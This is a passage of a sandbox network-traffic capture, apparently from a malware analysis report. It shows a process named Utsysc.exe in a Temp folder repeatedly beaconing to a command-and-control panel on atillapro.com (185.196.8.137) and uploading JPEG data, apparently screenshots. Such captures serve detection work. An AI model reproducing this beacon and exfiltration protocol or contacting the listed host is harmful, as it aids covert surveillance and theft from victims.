Apr 9, 2024 14:54:14.059334040 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:14.059334040 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:14.059334040 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:14.059380054 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:14.059380054 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:14.059381008 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:14.059429884 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:14.059429884 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:14.059429884 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:15.873708010 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49756	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:14.757042885 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:14.935168028 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:14.937175989 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:15.138967991 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49757	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:15.441029072 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:15.618699074 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:15.667043924 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:15.849100113 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49758	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:16.131630898 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:16.309315920 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:16.310185909 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:16.580596924 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49759	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:16.384629965 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:16.384712934 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:16.384763002 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:16.384794950 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:16.384835005 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:16.384861946 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:16.384887934 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:16.384911060 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:16.384936094 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:16.384960890 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:16.384984970 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:18.218596935 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49760	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:16.971101046 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:17.149369001 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:17.191299915 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:17.391846895 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49761	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:17.679867983 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:17.857383013 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:17.859180927 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:18.046719074 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49762	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:18.333028078 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:18.510433912 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:18.511356115 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:18.708831072 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49763	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:18.819998980 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:18.820069075 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:18.820118904 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:18.820133924 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:18.820147038 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:18.820166111 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:18.820178986 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:18.820200920 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:18.820220947 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:18.820236921 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:18.820245981 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:20.319470882 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49764	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:19.154249907 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:19.334716082 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:19.337721109 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:19.536150932 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49765	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:19.833559036 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:20.010893106 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:20.013761997 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:20.202677965 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49766	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:20.490931988 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:20.668406010 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:20.669101000 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:20.850879908 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49767	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:20.908137083 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:20.908196926 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:20.908240080 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:20.908263922 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:20.908283949 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:20.908305883 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:20.908325911 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:20.908348083 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:20.908368111 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:20.908394098 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:20.908416033 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:22.531639099 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49768	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:21.191968918 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:21.369201899 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:21.371483088 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:21.568744898 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49769	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:21.848431110 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
